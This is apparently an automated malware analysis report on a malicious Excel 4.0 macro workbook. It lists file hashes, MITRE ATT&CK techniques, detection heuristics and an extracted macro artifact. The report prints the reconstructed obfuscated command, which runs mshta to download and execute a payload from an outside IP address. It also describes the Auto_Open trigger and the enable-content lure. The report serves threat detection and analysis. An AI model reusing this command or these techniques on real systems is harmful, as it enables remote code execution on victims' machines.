Office (OLE) / .XLSX malware analysis — malicious · c5fd019779cc6783

MALICIOUS

Office (OLE) / .XLSX

61.7 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: 894e00b3a49aa0c01d5de54026dd44f0 SHA-1: 2a7d59752600ac414ee7fb6ba675a7fc83dd29ed SHA-256: c5fd019779cc6783b69380bea009ff36fa27277f941ba40a6652a838abd5eba4

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious Macro T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled workbook that uses an 'Auto_Open' entry point. The macro contains a string that, when reconstructed, forms the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', indicating it attempts to download and execute a payload from the specified URL. The document body also contains a lure to enable editing and content, which is a common tactic for macro-based malware.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1374 bytes

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